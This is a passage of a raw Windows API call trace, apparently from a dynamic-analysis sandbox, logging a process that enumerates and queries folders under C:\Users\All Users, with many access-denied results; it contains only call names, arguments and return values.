fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0091.218] GetLastError () returned 0x5 [0091.218] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Desktop\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0091.218] GetLastError () returned 0x5 [0091.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa6c8) returned 1 [0091.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0091.219] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="")) returned 1 [0091.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0091.219] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Documents" (normalized: "c:\\users\\all users\\documents"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.219] CreateFileW (lpFileName="C:\\Users\\All Users\\Documents" (normalized: "c:\\users\\all users\\documents"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0091.219] GetLastError () returned 0x5 [0091.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0091.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0091.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa6c8 [0091.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.220] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Documents\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0091.220] GetLastError () returned 0x5 [0091.220] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Documents\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0091.220] GetLastError () returned 0x5 [0091.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa6c8) returned 1 [0091.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0091.221] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="")) returned 1 [0091.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0091.222] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Favorites" (normalized: "c:\\users\\all users\\favorites"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.222] CreateFileW (lpFileName="C:\\Users\\All Users\\Favorites" (normalized: "c:\\users\\all users\\favorites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0091.222] GetLastError () returned 0x5 [0091.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0091.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0091.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa6c8 [0091.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.223] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Favorites\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0091.223] GetLastError () returned 0x5 [0091.223] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Favorites\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0091.223] GetLastError () returned 0x5 [0091.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa6c8) returned 1 [0091.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0091.224] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 1 [0091.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0091.224] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft" (normalized: "c:\\users\\all users\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0091.224] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft" (normalized: "c:\\users\\all users\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0091.224] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0091.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.225] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0091.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.225] NtClose (Handle=0x16c) returned 0x0 [0091.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0091.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0091.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa6c8 [0091.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.226] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0091.226] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.226] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assistance", cAlternateFileName="")) returned 1 [0091.226] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0091.226] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="")) returned 1 [0091.226] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="")) returned 1 [0091.226] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="")) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="")) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="")) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSDN", cAlternateFileName="")) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="")) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE", cAlternateFileName="")) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="")) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RAC", cAlternateFileName="")) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="")) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b7c5130, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9b7c5130, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="")) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="")) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0 [0091.227] GetLastError () returned 0x12 [0091.227] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0091.227] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.227] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assistance", cAlternateFileName="")) returned 1 [0091.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.228] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance" (normalized: "c:\\users\\all users\\microsoft\\assistance"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.228] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance" (normalized: "c:\\users\\all users\\microsoft\\assistance"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0091.228] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.228] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 